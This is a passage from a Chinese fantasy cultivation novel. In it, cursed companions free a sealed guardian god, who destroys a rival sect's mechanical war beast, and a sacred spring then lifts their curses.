那老道士看这几个年轻人身上或多或少都带着伤,好像跟那些操纵机关兽的人不是一伙的。他松了口气,道:“在下道号冬青子,是这山上白云观的道士。前阵子出去云游,今日刚回来,没想到家被人偷了……唉。” 他方才回到白云观,发现离开时还好好的道场变成了一片焦土,一起生活的师兄弟和师侄们死的死、逃的逃,只有他当时不在,侥幸躲过了一劫。冬青子十分悲痛,却也没什么办法,只能先自己活下来再说。 他下山的过程中,听见半山腰哒哒哒哒的枪声不断,却是千机门的人在与人打架。片刻一只巨大的机关兽浮到了半空中,仿佛在寻找着什么,却一无所获。它泄愤地往地上放了一炮,一棵大杨树轰然倒下了,山林中的鸟兽被吓得一哄而散。冬青子生怕被它逮到了,连忙逃下了山。 伏顺道:“你从山上来,那你见着我师兄了没有?” 冬青子道:“没有,我自个儿逃命还顾不上呢,几位让让……我得赶紧走了。” 他说着弓起背来要跑路,伏顺一把攥住了他的肩膀,道:“诶,你上哪儿去?” 夕阳沉入了远处的群山中,天色渐渐黑下来了。冬青子也没想好要去什么地方,反正得先离开这个是非之地。他道:“要不……我去蜀山吧,正道宗门同气连枝,我去找他们帮白云观做主。” 其他活下来的人也都往蜀山去了,伏顺放开了手,道:“那好吧,你一路多保重。” 老道士发现千机门的人没追下来。抬头一望,天空中生出了一团黑色的漩涡,他们又开始吸取灵力了。冬青子想他们占据了山头,一时片刻应该无暇估计自己这种小人物,松了口气。 他停下了脚步,看着伏顺他们,这才注意到每个人都奇形怪状的。幸亏他修道时间久了,见过的怪东西不少,道:“小兄弟,你们来这儿干什么?” 伏顺动了动背后的须子,懊恼道:“我们中了邪神的诅咒,想过来取点泉水。结果泉水被千机门的人占据了,我大师兄也不知道去哪儿了。” 这时候忽然见前方的树丛动了动,正说着他,段星河就从树林里钻出来了。 他拉着步云邪,两个人跑得直喘气,总算毫发无伤。众人顿时心中一喜,围上来道:“你们没事吧!” 段星河摆了摆手,一时间说不出话来。步云邪脸上的白布不知道去哪儿了,此时闭着眼,生怕误伤了身边的人。 段星河四下看了一眼,见人都平安无事。此地不能久留,他道:“赶紧走,往西边去!” 众人都听从指挥,上马的上马,上车的上车。宋胡缨把自己的帷帽借给了步云邪,他坐在大车里,显得格外沉默。赵大海挽起了缰绳,准备离开了。 天色越发暗下来,那老道士打了个寒战,不想一个人被扔在这里,连忙跟过来道:“几位小兄弟,我也要往西边去,能不能带我一段路?” 段星河从车窗里看了他一眼,道:“老先生是?” 冬青子挽着包袱道:“我是白云观的道士,山上死的那些人都是我的同门。” 段星河明白过来,这也是个可怜人。他一把打开了车门,把那老头儿拉了上来,道:“走。” 赵大海往地上一抽马鞭,道:“驾——” 大车向前驶去,趁着夕阳最后的一点光亮,向西边去了。 往前走了一个多时辰,夜色降临了,周围前不着村后不着店的,众人看后头没有追兵赶来,便在路边扎了营。 白天大家受了不轻的惊吓,吃完饭在篝火边坐着,都不怎么说话。 他们虽然往西边逃了,却又没想好接下来该往哪里去。就这么回蜀山,大家不甘心,可再去四灵山,他们也打不过那帮铁皮怪物。出来这么久,他们还是头一次碰上这么难对付的硬茬,心里充满了挫败感。 木柴烧的噼啪作响,火星在风中飘荡。伏顺烤着手道:“你说蜀山那帮老道士是不是坑咱们呢,这么危险,他也敢让咱们来?” 赵大海道:“人家提醒过咱们了,说那些怪物难对付得很,就连他的大徒弟不是也拿千机门的人没辙么。” 伏顺道:“他们能跟咱们一样么,都活了好几百年了还打不过,这些年都白修了?” 李玉真道:“咱们接下来去哪儿?” 赵大海闷声闷气地说:“不知道,都听大师兄的……大师兄呢?” 宋胡缨道:“他跟步兄在一起,刚才我见他上车了。” 大车停在营地旁边,步云邪坐在车厢里,他不烤火,也不想回帐篷睡觉,就想找个地方一个人待一会儿。他方才找到了一根新绑带,把眼睛蒙了起来,此时身上裹着一张毯子靠在车壁上,一副疲惫的模样。 段星河不放心,过来坐在他对面,道:“怎么了,不去帐篷里休息?” “不想去。”步云邪摇了摇头,神色淡漠。火光透过车窗照进来,映着他的侧脸。他的发丝垂在脸庞,有些憔悴,又透着一股寂寥感。 邪神之眼侵蚀了他的视觉,刚才他试过,已经什么都看不见了。 虽然知道会是这样的结果,那种余生将在黑暗中度过的恐惧感,还是让他难以承受。 步云邪现在不想跟任何人待在一起,他不想给别人压力,只想默默消化这一切。 段星河悄然伸出手,在他面前晃了晃,步云邪没有任何反应,对光线的感知也消失了。段星河的心沉了下去,若不是为了救自己,诅咒也不会侵蚀的这么快。 步云邪仿佛已经接受了这个现实,平静道:“我看不见了,什么都……一点也看不到了。” 段星河的声音有些哑,道:“我帮你想办法,一定能治好的。” 步云邪轻轻一笑,道:“其实治不好也没关系。我现在已经习惯了,可以闭着眼吃饭了,生活也不成问题。” 他道:“右手边一尺的地方,有个暖炉。下面有个小抽屉,碳在里面,还有火折子。你冷不冷,我帮你点火……” 他伸出手,却摸了个空。碳炉在他右手上方一点的位置,他却怎么也找不到。他的手指微微发着抖,勉强装出来的游刃有余被打破了,流露出来的全是脆弱。 这么骄傲的一个人,却要从此在黑暗中度过。段星河心里难受的厉害,攥住了他的手,道:“别怕,如果以后真的看不到了,我当你的眼睛。” 一线眼泪从白布下淌了出来,步云邪控制不了自己的情绪,终于还是崩溃了。 段星河过去坐在他身边,步云邪低着头,眼泪一个劲儿往下淌。段星河轻轻拍着他的肩膀,就像安慰一个孩子。 “我不想给你添麻烦。” 段星河道:“你的事怎么算是添麻烦?咱们说好了的,还要一起回去修炼。以后的日子还长着呢,咱们得一直做伴儿。” 车厢里有人落泪,外面也有人在哭。伏顺坐在篝火边,忍了许久,终于还是抹起了眼泪。他一哭,身后的七八条触手也跟着来回乱晃,让人眼花缭乱。 “呜呜呜,我这副怪样子,这辈子都娶不到媳妇了。” 赵大海满脸的眼珠子乱滚,道:“别晃你的须子了,我眼晕。” 伏顺本来就够难受的了,他还要嫌弃自己。他委屈道:“那你闭上眼啊,看什么?” 赵大海道:“这些眼珠子根本就没有眼皮,想不看也不行,你有我惨吗。” 两个人对视了一眼,伏顺发现他是挺惨的。赵大海抱着头坐在一边,也有点想哭,感觉这破日子是一天也过不下去了。 司空玉抱着小对眼坐在远一点的地方,同情地看着他们。六幺低头看着自己多出来的手指头,不知道以后是不是真的要跟它们相处一辈子了。他道:“县主……你觉得我的手,难看吗?” 司空玉道:“不难看啊,习惯了还好。” 她虽然这么说,表情还是有点纠结,显然是言不由衷。六幺明白了,他不想让她一直这么害怕下去,寻思着要不就把多余的手指头砍了算了。可他从小练剑,若是切不好,以后都没办法用剑了怎么办? 他还在犹豫,宋胡缨坐在角落里,已经拔出了一把匕首,在上面喷了高粱酒,朝自己多出来的耳朵划了过去。李玉真吓了一跳,连忙拉住她道:“使不得,你冷静一下!” 宋胡缨嘴里咬着一卷布,抬头冷淡地看着他,把刀递了过去。正好她自己也下不去手,不如找个帮忙的。李玉真根本不敢接,手一松,匕首叮叮当当地落在了地上。 他一脚把刀踢开了,苦口婆心道:“这玩意儿切不好就要留个大疤,咱们再想想别的法子。” 宋胡缨已经死心了,道:“还有什么办法?” 冬青子坐在一旁烤火,看着他们,有点欲言又止。 伏顺见那老道一直望着这边,好像看热闹似的,没好气地道:“你看什么,没见过怪物啊?” 冬青子知道他们心情不好,也不跟他计较,反而劝道:“几位小友,你们冷静一点,这种程度的诅咒不是割掉就完事的……它对你们的身体造成了影响,说不定今天割完了,那个……呃……” 伏顺有种不好的预感,道:“你别吞吞吐吐的,有话直说。” 其他人都看向了这边,跳动的火光照在冬青子沟壑纵横的脸上,显得很是诡异。他深吸了一口气,低沉道:“若是只把变异的部分割掉的话,很可能——还会再长出来。” 冬青子此言一出,其他人的寒毛都竖起来了。比身上长出了奇怪的东西更可怕的是,这玩意儿割掉一茬还能冒出一茬新的来,简直突破人能理解的下限。 伏顺整个人都不好了,举起自己身后的一根须子晃了晃,道:“你说什么……这又不是韭菜,割了还会长新的?” 冬青子点了点头,表情凝重道:“我也是听百草门的朋友说的,一个小伙子去他们那儿求医,他被邪神诅咒,长出了一条猪一样的尾巴。他狠了狠心,花重金找郎中割了去,本来以为这样就能好了,没想到半年后又长出了一条新的,而且比之前的那条更长。” 众人都沉默下来,仿佛已经感到切实的疼痛了。这老道年纪大,或许没什么本事,但见识过的东西还是挺多的。大家打消了动刀子的念头,心思又转到泉水上,可那座山头被千机门的人占着,他们一点办法也没有。 外头的人说着话,段星河听见了,觉得那老头儿好像知道些什么。他道:“我去看看。” 他下了车,在火堆旁边坐下。墨墨过来坐在他的脚边,段星河随手摸着它的脑袋,听冬青子说话。 李玉真道:“老先生见多识广,可有什么法子解除我们身上的诅咒?” 冬青子露出了为难的表情,道:“这个……除了四灵山上的泉水之外,可能真的没有别的办法了。” 众人都有些失望,李玉真道:“可是泉水被千机门的人占着,我们白天差点被他们的机关兽轰死。” 冬青子也见识了那铁皮怪物的厉害,黯然道:“我知道,我都看见了。” 那些人害死了他的同门,冬青子心中也藏着恨意。他叹了口气,道:“咱们都是血肉之躯,根本不是他们的对手……除非能召请到凤神的使者,唉,四灵神早就被封印在山里了,根本没人能降服的了他们。” 段星河对他的话产生了兴趣,道:“什么使者,被封印在哪座山里?” 冬青子往远处望了一眼,四灵山的山峰在夜雾中若隐若现。他道:“那座山叫四灵山,就是因为四灵神被封印在此地,要不然你以为它为什么叫这个名字?” 他在此地生活了五六十年,对这里的传说都很了解。段星河道:“四灵神是什么?” 冬青子缓缓道:“四灵神是凤神身边的四位使者,分别代表了正义、勇气、智慧和仁慈。夜游神趁着凤神陷入沉睡之际,分别击败了四位使者,把它们囚禁在了四灵山中。他把钥匙分别给他座下的大妖吞食了,那些大妖不死,四灵神根本不可能被放出来。” 赵大海听得入神,道:“那四灵神很厉害么?” 冬青子道:“当然厉害,它们的力量凌驾于青龙、白虎等四圣兽之上,而且没有常形,会变成任何模样。千机门的那几个铁皮怪物根本不是它们的对手。” 伏顺向往起来,道:“真的假的,该不会只是个传说吧?” 冬青子的神色认真,道:“应该是真的,四灵山中有个禁地,我年轻的时候偷偷去过,就见到了一块大石头,据说是夜游神留下看守四灵神的地狱犬,也已经石化的看不出原来的样子了。四灵神就封印在山壁里面,肉眼也看不出来。四灵山中的灵力充沛,并非只是因为汇聚了天地灵气,就是因为山谷中囚禁着四灵神,灵力才能源源不绝。” 他说着叹了口气,道:“不过我等天赋有限,纵使有这么好的地方,也没能修炼成仙,实在惭愧。” 要是能借四灵神之力赶走千机门的那些人,阿云的眼睛就有救了。段星河若有所思,一时间没说话。李玉真追问道:“那些大妖在什么地方?” 冬青子抬眼看着远方,仿佛也觉得希望渺茫,道:“散落在各地,那些东西本来就是人心中的恶念汇聚成的,哪里有人,哪里就有它们。” 这么说根本没地方去找,只能碰运气。就算遇到了,也没有几个人能打败它们。段星河忽然开口道:“它们吞掉的钥匙长什么样?” 冬青子想了想,道:“我记得山壁上有几个凹槽,形状很不规则。据说是色彩不一的宝石,但没人见过,我也不知道是真是假。” 司空玉想起了那块从灯笼鱼须子里剖出来的粉碧玺,那只大妖代表的就是色孽。她道:“段大哥……莫不是……” 段星河已经从腰包里掏出了一块碧玺,道:“是这个么?” 冬青子端详了片刻,睁大了眼道:“这个大小……有点像啊。你们从哪儿得来的?”< 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他道:“就在这里了。从西边的这条小路过去,他们不会发现的。” 段星河看了一眼,地图画的十分细致。他道:“多谢道长,我们明天就去。要不然你自己去蜀山?” 冬青子知道自己年老体衰,跟过去也是给他们添麻烦。他道:“好,那我就在蜀山等你们的好消息。” 次日一早,冬青子与众人辞别,往蜀山去了。段星河等人再次来到了四灵山,沿着地图上的小路悄悄潜入了禁地。山谷里静悄悄的,到处都是葱茏的草木,金色的阳光照下来,像流水一样宁静空明。 众人一走进去,几只肥硕的野兔受到了惊吓,迅速逃走了,鸟雀叽叽喳喳地飞到了天上。四周是一片峭壁,山壁上攀援着不少藤蔓,有的已经枯萎了,有的刚发出新芽。此时是初春时节,还能看出岩石的形状,到了盛夏,山体被厚厚的叶子覆盖,就很难找到石牢的位置了。 山谷正中有一块巨大的岩石,足有一丈高,形状十分奇特,有点像一头弓着背的野兽,经历了几百年,已经风化的不成样子了。 远处的天空中,黑色的漩涡不停流转,千机门的人还在掠夺这里的灵力。 步云邪道:“快点吧,趁他们没发现咱们。” 段星河拨开枯萎的藤子,见周围的峭壁上确实有几个孔洞,凹槽还是成对出现的。若是不知情的人,见了肯定以为是岩石自然留下的痕迹,任谁也想不到这就是封印着四灵神的机关。 段星河从腰包里掏出了四块碧玺,红粉茶绿,宝石在太阳的映照下放出漂亮的光芒。他在手里盘了盘,几块宝石相互碰撞,发出搁楞搁楞的声音。他拿出一块绿色的嫉妒之石,沿着山谷转了一圈,找到了一个合适的凹槽嵌进去,居然严丝合缝。众人意识到有希望,都激动起来。 一对钥匙只能开一扇门,他们收集到了四块石头,运气好的话,应该能开两扇门。可若是运气糟糕的话,四枚钥匙分布在四扇门上,就一个牢门也打不开。 段星河的手心里渗出了汗水,有点紧张。他心里安慰自己,都来到这里了,不至于连一道门也打不开。他虔诚祷告道:“三清在上,弟子愿用好友刘正阳三年好运换取破解一道封印。他是我的挚爱亲朋,分量十分之重,求祖师垂怜。” 伏顺嘿地一声笑了,觉得这笔买卖合算的很,道:“那再加上他主子李如芝的三年运气,能不能开两道?” 其他人都忍不住笑了,反正这种事也不是他们能决定的。段星河拿出一块粉色的石头,想放进另一个凹槽里,半天怼不进去。他换了一块茶色的,这回咔嚓一声,石头稳稳地嵌了进去。司空玉反应过来,道:“成了?” 那块岩石静悄悄的,没有任何反应。这时候山谷深处传来了一阵震颤,仿佛有什么东西从沉睡中苏醒过来了。一道金色的光芒从岩壁中放射出来,面前的石门轰然崩塌,众人吓了一跳,连忙向四周躲避开来。 嗡地一声响,一个金色的光团从山洞中飞了出来。它约莫有一人大小,形状如同好几个车轮,横着、竖着、斜着层层嵌套,不断转动。它周身散发着祥和的光芒,让人感觉温柔庄严,又充满了力量。 不愧是凤神座前的护法,四灵神之一,浑身透着一股让人安宁的气息。众人感到了它强大的力量,心中十分激动,又有些敬畏。 伏顺愕然道:“你还别说……刘正阳这小子是值钱啊,献祭他还挺管用的。” 司空玉出来游历,就是为了能多看看这些奇景,今日算是不虚此行了。她悄悄碰了碰六幺,道:“不得了,长见识了。” 六幺挡在司空玉的身前,一手握着剑,生怕它伤害了县主。 赵大海张大了嘴,愕然地仰望着天空,喃喃道:“我的天呐,这世界上真有神仙……长得跟灯笼似的……不对,像车轮,怎么跟年画上的不一样?” 冬青子说它是凌驾于众生之上的神灵,没有常形常相,会因为信徒的信仰投射出千万种法身。据说它原本是凤神的车驾,它沉睡了这么久,一直未与外界沟通,眼前的车轮形象应该最接近它本来的样子。 它漂浮在半空中,俯瞰着众人,缓缓道:“孩子们……是你们把我放出来的么?” 它没长着嘴,声音也不知道是哪里发出来的,但每个人都清晰地听见了它的话。段星河上前一步,行礼道:“是我们解开的封印,我叫段星河,这些是我的朋友。您就是四灵神之一么?” 它道:“我是守护凤神的使者,天外天的四灵神之一,代表着正义。很久之前,有人把我封印在了这个地方,多谢你们把我放了出来。啊……我睡了多久了?” 段星河道:“五六百年了吧?” 它很是惊讶,身上的轮子缓缓转动着,仿佛感慨白云苍狗,一转眼间已经过去这么久了。它道:“你们来做什么?” 段星河正色道:“千机门的人占领了此处,掠夺周围的灵力,伤害了不少人。它们操纵着一头机关兽到处轰炸,我们不是它的对手,只好来请您帮忙。” 眼前的这些年轻人虽然奇形怪状的,但本性纯良。凡人在它面前没有任何秘密,他们确实没有撒谎。义灵使陷入了沉思,道:“千机门……是虺教的人么,他们又出来作恶了?” 段星河还未回答,他们身后的那块巨大的岩石感应到了强烈的灵力,震颤起来。 石头上布满了裂纹,不断有细小的石屑崩落下来。哗啦一声,石头碎裂了一地,里头跃出了一只硕大的怪物。它长着一双赤红的眼睛,模样有些像狗,獠牙露在外面,背上长满了黑红驳杂的鬃毛,正是夜游神豢养的地狱犬。 它受夜游神之命守卫着这里,不允许任何人来破解封印。然而数百年过去了,它在寂寥中陷入了沉睡。这些年轻人的闯入不但破解了四灵神的封印,也把地狱犬唤醒了。 它抖了抖身上的灰尘,龇出了獠牙,弓起背朝他们吼了一声:“嗷——!!” 赵大海往后退了半步,道:“它什么意思?” 伏顺打了个寒颤,道:“擅入者死吧?” 李玉真慌张道:“不得了,它要扑过来了,快拦住它!” 段星河却一副淡定的姿态,连手里的幽冥剑都没拔出来,露出了一丝笑容道:“都见到真神了,还用得着咱们动手么?” 100.清净泉 三 他说话声中,一道金光照了下来,如同万道锋芒刺在了那条地狱犬的身上。恶狗疼的一声惨叫,连忙向后退去。义灵使周身卷起一阵罡风,无数利刃从风里向那头恶犬削过去。就听风声呼呼作响,那条地狱犬被削的体无完肤,血流了一地,就这么死了。 那么大的一头怪物,在义灵使面前就像纸糊的一样,眨眼间就没了。这就是四灵神的力量,强大到让人震撼。众人都十分激动,又有些害怕,生怕它杀疯了给自己也来那么一下。 罡风消失了,金色的光团降了下来,柔和地照着他们。义灵使的声音仍然淡淡的,仿佛从来没有过任何情绪,却又一直庇护着它的信徒们。 它道:“感谢你们解除了我的封印,我的孩子们,有什么愿望我能为你们实现么?” 从刚才到现在,四灵山一直震动不安,岩石崩落的声音惊动了山顶的千机门人。那个灰袍道人骑着机械仙鹤从天而降,循着声音找到了山谷禁地中。他见了段星河等人,登时睁大了眼,道:“又是你们,昨天差点被打死,今天还敢来?” 段星河如今有上神撑腰,自然不怕他,冷笑道:“怎么不敢来,找的就是你。” 那人恨得咬牙切齿,道:“你们害死了我师弟,我非给他报仇不可。收割者——” 机关兽应声飞了过来,漂浮在半空中,冷冰冰地道:“收到,请指示。” 灰袍道人重重一拂袖,歇斯底里道:“给我杀了他们,一个不留,全都杀光!” 机关兽的红眼锁定了这边,缓缓举起了左手的炮筒。义灵使漂浮在空中,把他们护在了身后。段星河开口道:“请上神帮我消灭他们,夺回四灵山。” 义灵使放出了祥和的金光,强大的灵力一瞬间笼罩了整个山谷,平静道:“好的,这就清除它们。” 它骤然飞到半空中,周身的光芒陡然强烈起来,无机质的声音回荡在山谷中:“瓦解——” 机关兽还没意识到将要发生什么,它被光芒照射着,钢铁身躯发出了一阵不和谐的嗡嗡声。段星河等人没有任何感觉,身上的兵刃却微微地打着颤。伏顺按住了自己腰包里开锁的家伙事,感觉手被铁丝铁片震得嗡嗡发麻,道:“怎么回事?” 那机关兽不住震颤,就像个得了疟疾打摆子的人,叮叮当当的不住有零件崩落下来。 那股震动对于钢铁金属有致命的冲击性,连那道士骑的铁皮仙鹤也嗡嗡地发着抖,就像个喝了酒的醉汉,歪歪斜斜的要跌落下去。那道士慌了,连忙道:“赶紧着陆,快——” 机械仙鹤一头栽进了旁边的树林里,硕大的翅膀挂在树枝之间,把树丛压得塌了一大片。那道士摔在地上,一颗硕大的螺丝掉了下来,把他后脑勺砸了个包,嘣地一下弹开了。 铛的一声,机关兽胸前的护甲崩落下来,露出了里头供应能源的灵核,类比起来便是人类的心脏。 众人都睁大了眼,李玉真伸手一指,道:“这就是他们抢到的灵力,赶紧把它夺回来!” 灵核汇聚成一团白色的光芒,在它胸腔中不住跳动。义灵使放出了一道金色的灵力,裹住了灵核,稳稳地把它取了出来。机关兽失去了能源,跟一堆废铁没有任何区别,红色的眼睛骤然熄灭了。它笔直向下坠去,身上的铁甲稀里哗啦撒的到处都是,轰地一声把地上砸了个大坑。 那道士望着这边的情形,简直绝望了。他没想到自己引以为豪的大杀器,在这车轮怪物的面前简直不堪一击。它甚至不屑跟自己的机关兽动手,而是来了个釜底抽薪,直接就把它拆了个七零八落。 千机门呕心沥血设计出这样的机关兽,本来以为能够征服整个大陆,没想到却被玩成这样,简直是整个宗门的耻辱。那道士气得浑身发抖,道:“好好好,你们好得很!” 众人都震惊了,没想到四灵神的力量有这么强大。有它做靠山,就不用再怕千机门的人了。义灵使周身的光芒嗡地一亮,那道士吓得连忙后退了半步,咬牙切齿的气势顿时没了,慌张道:“你别过来,别过来!” 之前裴少卿和渠阳子对他们还算客气,段星河也不想赶尽杀绝。他道:“回去告诉你们少主,正道与邪道井水不犯河水,别在蜀山的地头搞事!” 那道士打不过他们,只得忍气吞声。留得青山在不愁没柴烧,他不敢再停留,钻进了树林,快步逃走了。 义灵使将那团灵核降下来,漂浮在段星河面前,平和道:“多谢你把我放出来,这灵核就送给你吧。” 这灵核是千机门的人在这里收集了三个月的天地灵气,蕴含着强大的力量,熠熠地放着宁静的光芒。它与段星河的身体发生了共鸣,嗡地一下子钻进了他的身体里。段星河的身体顿时一震,感觉一道暖流涌过全身,汇聚进了丹田里。 这一颗灵核怎么说也抵得了一颗金丹的效力,至少能增长三年的修为。段星河长舒了一口气,感激道:“多谢上神。” 义灵使放出了温柔的光芒,缓缓道:“好久没出来了,我想到处转一转。你们以后若是需要我,呼唤吾名即可。” 它说着,车轮大小的形状化作了一个光点,飞到了段星河耳畔,低声对他说了自己的名字。神祇的名字拥有至高无上的力量,一旦念出,就能够召请到它现身。 段星河默念了一声,义灵使温声道:“对。你们做得很好,坚持你们所坚持的道,不要把这个世界让给邪恶。” 段星河道:“是。” 义灵使道:“想办法把我更多的伙伴解放出来吧。正邪之间终有一战,它们会是你强有力的帮手。” 它说着,金色的光芒嗖地一闪,向远处飞去了。如同一只萤火虫消失在林间,去看它暌违已久的山川河流了。 众人目送着它消失了,这才渐渐从震撼中醒过来。伏顺道:“找到厉害的靠山了,这不得好生供起来!” 李玉真拢着袖子道:“人家是守护凤神的,哪有空天天跟你玩。别整狼来了那一出,真遇上事可就摇不来人了。” 大家觉得也是,这种等级的神明不可亵渎冒犯,还是心存敬畏的好。段星河想起了刚才义灵使的话,从腰包里掏出了另外两块碧玺,对着其他三道石门分别试了一下。看来他们已经把今天的运气用光了,两块碧玺分别嵌在两扇门上,破除不了封印。 “还缺四块钥匙……在什么地方呢。” 段星河把碧玺取了下来,有点遗憾。司空玉道:“别想这些了,急也不在这一时。好不容易把敌人赶跑了,大家赶紧去泡澡!” 众人这才想起来最重要的事,登时激动起来,先前的愁云惨雾一扫而光。六幺豹子似的往山上窜去,宋胡缨也快步奔了上去,一刻也不想跟身上这些多余的零件共处下去了。 段星河身上的诅咒泉水应该解除不了,但能治好兄弟们他心里也高兴。山道上多石子,又有些树枝。步云邪看不见,段星河便牵着他慢慢走上去。 树林茂密,山中的空气十分清新,听得见远处鸟儿的鸣声。步云邪虽然看不见,但走在他身边,心里就很安宁。段星河道:“终于能把眼睛治好了。” 步云邪道:“若是不能呢,都已经什么也看不见了。” 段星河道:“别说这么丧气的话。” 步云邪轻轻笑了,道:“你不是说了,我若是看不见,你就当我的眼睛。还算不算数了?” 段星河认真道:“我就希望你好好的,无病无灾,一生安乐。” 步云邪静了下来,有些动容。这段时间若是没有他的支撑,自己恐怕早就崩溃了。就要到清净泉边了,他心中反而有些害怕起来。他不敢抱有太大希望,万一没有效果,他不知道自己该怎么办。 远处传来清净泉哗啦哗啦的水声。伏顺大声道:“一人一瓢,谁也不准多喝!” 六幺道:“我就洗个手,你们谁爱喝谁喝。” 宋胡缨道:“让让,我洗个脸。” 伏顺道:“谁给我往背上浇点水,没人帮我……那我跳进去洗澡了啊。” 赵大海道:“哎呀,你先等会儿,脚丫子都踩进去了,让洗脸的怎么办。” 伏顺道:“你洗你的呗,哪那么多讲究!” 虽然在斗嘴,每个人的声音里都洋溢着快乐。这段时间他们压抑了太久了,有希望消除诅咒,让他们都很激动。 两人走到泉水前,其他人都已经放弃了矜持跳了进去,连洗带喝,把泉水从头顶往下浇去,恨不能让泉水浸透进每一寸血肉里。 段星河牵着步云邪来到泉池前,步云邪解下了蒙眼布,撩起一捧泉水洗眼,又把脸洗了一遍。虽然不知道这泉水对自己有没有效果,段星河还是抱着试一试的心思洗了手,又掬起一捧水喝了下去。 泉水清凉甘甜,除此之外没有什么与众不同之处。段星河感觉体内的那股煞气没有消退的迹象,叹了口气。然而就在这时候,他手上那些青色的鳞片慢慢变薄,以肉眼可见的速度翘了起来。 段星河有些难以置信,伸手搓了搓,那些鳞片竟全都脱落了。他手臂上的皮肤还有些薄,现出嫩红的颜色。他十分激动,这清净泉真的有神圣的力量,消除了青龙对他的诅咒。 步云邪洗了一阵子眼睛,渐渐感觉眼前有了光感。他也不敢看别处,只是低头看着水里。泉水照着他的脸,微微荡漾。步云邪的眼前还有些模糊,但依稀能够看到水中的倒影。 他眼中的银色渐渐褪去,恢复了原本黝黑的颜色,瞳孔也变成了正常人的形状。 “星哥……我能看见了……” 他的声音里带着颤,难以压抑心中的激动。段星河转头看向他,步云邪下意识转过了脸,不敢跟他对视。 段星河刚才在水里看到了他的眼睛,不再是银色的了。他双手扶着他的肩膀,道:“没事了,你看着我,看看我!” 步云邪转了过来,风轻轻吹过,草木不住摆荡。他的睫毛颤了几下,把眼睛睁开了一线,眼瞳已然恢复了往昔的模样。段星河的心跳得快了起来,仿佛从来都没这么高兴过,激动道:“好了,你好了!” 步云邪慢慢睁开了眼,黝黑的眼瞳映着动荡的水波,与从前一样清澈。他心中一阵酸楚,眼泪不觉间落了下来。他哑声道:“谢谢你。” 段星河不知怎的,眼底也有些湿润了,道:“是你有神明保佑,步家的祖先都护着你呢。” 步云邪点了点头,长长地舒了口气,仿佛卸下了千斤的重担。 身后传来了李玉真震惊的声音:“啊……你的耳朵,掉下来了!” 两人回过头去,就见宋胡缨坐在泉池边,乌黑的头发蜷曲着贴在脖子上,脸上滴滴答答地往下淌着水。她脸上多余的耳朵干瘪萎缩,像死皮一样卷曲起来。她手里还托着一片刚掉下来的耳朵,没有血,断口处长着一点嫩红的新肉,表面覆盖着一层薄薄的皮肤。 李玉真小心翼翼地抬起手,擦掉了她脸上多余的那几片耳朵。她恢复了从前的模样,还是那么明媚娇美。李玉真高兴的要哭了,道:“太好了,你没事了!” 宋胡缨仿佛有些触动,片刻轻声道:“我的事,你这么高兴干什么?” “我就是高兴啊,”李玉真道,“你不知道这段时间有多怕……但是我不敢说,我说了你就更难过了。” 司空玉看他这么紧张,打趣道:“诶,你是怕宋姐姐不好看么?” 李玉真摇了摇头,道:“我怕她被诅咒侵蚀,身体承受不住。你要不要再喝点泉水,把脏东西都赶出去。” 这边说着话,伏顺那边也大叫道:“啊……我的须子掉下来了,真的掉下来了,哈哈哈哈!” 七八条干瘪的须子像海带一样飘在水上,伏顺扯下了最后一根,泄愤地把它们统统扔了出去。再也不用背着这些破玩意儿了,他简直从来没这么轻松过。再转头看赵大海,他脸上多余的眼珠子都消失了,原来长着眼睛的地方留了几个痘坑一样的凹陷。 赵大海感觉眼不晕了,欣喜若狂,道:“我好了,你也好了,咱们不是怪物了!” 哗啦哗啦几声,两个人抱在泉池子里哈哈大笑,笑着笑着就咧嘴哭起来了。六幺坐在一旁,缓缓地把多余的十根手指头一一拔下来。断口处不痛不痒,就像结了几个冻疮。他动了动原来的手指,如释重负,终于能够好好用剑了。 所有的人都喜极而泣,就像获得了新生一般。经历了这次的劫难,以前的诸多烦恼都变得不值一提了。能像个普通人一样活着就已经很幸福了,还有什么可不开心的。 司空玉走了过来,道:“没事了吧?” 六幺握住了剑,仿佛找回了自己的力量,道:“没事了,我又可以好好保护县主了。” 司空玉微微一笑,道:“别光想着保护我,也保护好你自己,要不然我会难过的。” 六幺的目光微动,她偶尔的关心总是能触及到他内心最柔软的地方。六幺的目光变得温柔起来,道:“是,多谢县主。” 天色渐渐晚了,众人回到了山脚下,找到了他们的大车。一群人就在山谷中扎营,烧火做起了饭。乌云散去了,天上有几颗廖落的星子不住闪烁。魏小雨抱着墨墨坐在火堆旁边,抬头看着天空。别人劫后余生都挺高兴,唯独她有些疑惑似的。 段星河道:“看什么呢?” 魏小雨仰着头,道:“上方的气场有点怪。” 段星河感觉是有点阴沉,大约是千机门的人在这里掠夺了太久导致的。他道:“不用担心,它自己会恢复的。” 魏小雨喔了一声,她脸上沾了点灰,蹭的跟花猫似的。段星河拿了块布打湿了,给她擦了一把脸,心不在焉道:“去睡觉吧,明天还得赶路呢。” 魏小雨放开了墨墨,站起来道:“要去蜀山么?” 段星河道:“是啊。” 蜀山长老答应了指导他修炼,段星河帮他们铲除了蜀山附近的威胁,他们也应该有所回报吧。 魏小雨担忧地说:“那边的气场也不太好,昏天黑地的,怨气很重。” 段星河没说话,下意识看了宋胡缨一眼,先前她也这么说过。这种事确实女子跟小孩儿的感觉更敏锐一些,段星河留了个心眼,说不定那附近还有千机门的人,去了得多加小心。 次日众人向西而行,走了两天到了蜀山。几名守山弟子站在石牌坊前,段星河从车上跳下来,道:“几位,我们从四灵山回来了。” 吴祎见他们都好端端的,没缺胳膊也没少腿,甚至身上多余的触手眼珠子也消失了。他惊讶的不得了,道:“你们解除诅咒了?” 段星河露出了笑容,释然道:“解除了。” 吴祎简直比他们还高兴,道:“太好了,我就说我这双慧眼识英雄,你们肯定能做到。怎么解除的,那些千机门的人呢,详细说说!” 其他几个弟子也围了过来,都对他们的事很感兴趣。段星河看了一眼天色,已经黄昏了。他道:“先上山再说吧。” 吴祎道:“喔对,你们折腾了那么一大通肯定累了,我陪你们上山,走。” 众人一起上了山,来到了昭元殿。大殿里已经点起了灯,无数灯火把大殿照得彻亮。段星河走进去,跟掌教真人行礼道:“拜见前辈。” 天玺真人和长徒刘伯桥都在,见了他们,都有些惊讶。尤其是刘伯桥,神色很是复杂,好像没想到这些年轻人能够平安无恙地回来。 天玺真人端详着他们,露出淡淡的微笑,道:“你们没事,太好了。” 段星河道:“托前辈的福,我们身上的诅咒都解除了。感谢您指点我们去四灵山。” 天玺真人道:“千机门的人怎么样了?” 